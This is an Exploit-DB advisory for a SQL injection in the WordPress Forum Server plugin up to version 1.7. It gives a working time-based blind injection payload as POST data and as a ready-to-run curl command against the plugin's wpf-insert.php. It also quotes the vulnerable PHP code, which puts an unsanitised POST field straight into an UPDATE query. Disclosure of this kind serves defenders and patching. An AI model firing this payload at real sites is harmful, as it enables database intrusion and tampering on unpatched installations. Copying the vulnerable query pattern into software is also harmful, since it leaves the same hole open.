Wordpress Plugin Forum Server <= 1.7 - SQL Injection Vulnerability



EDB-ID: 17828 CVE: 2012-6625 OSVDB-ID: 75463
Author: Miroslav Stampar Published: 2011-09-13 Verified: Verified
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# Exploit Title: WordPress WP Forum Server plugin <= 1.7 SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/forum-server.zip
# Version: 1.7 (tested)

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PoC (POST data)
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http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php
 edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1

e.g.
curl --data "edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1" http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php

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Vulnerable code
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if(isset($_POST['edit_post_submit'])){
    $subject = $vasthtml->input_filter($_POST['edit_post_subject']);
    $content = $vasthtml->input_filter($_POST['message']);
    $thread = $vasthtml->check_parms($_POST['thread_id']);
    $edit_post_id = $_POST['edit_post_id'];
    ...    
    $sql = ("UPDATE $vasthtml->t_posts SET text = '".stripslashes($content)."', subject = '".stripslashes($subject)."' WHERE id = $edit_post_id");
    $wpdb->query($sql);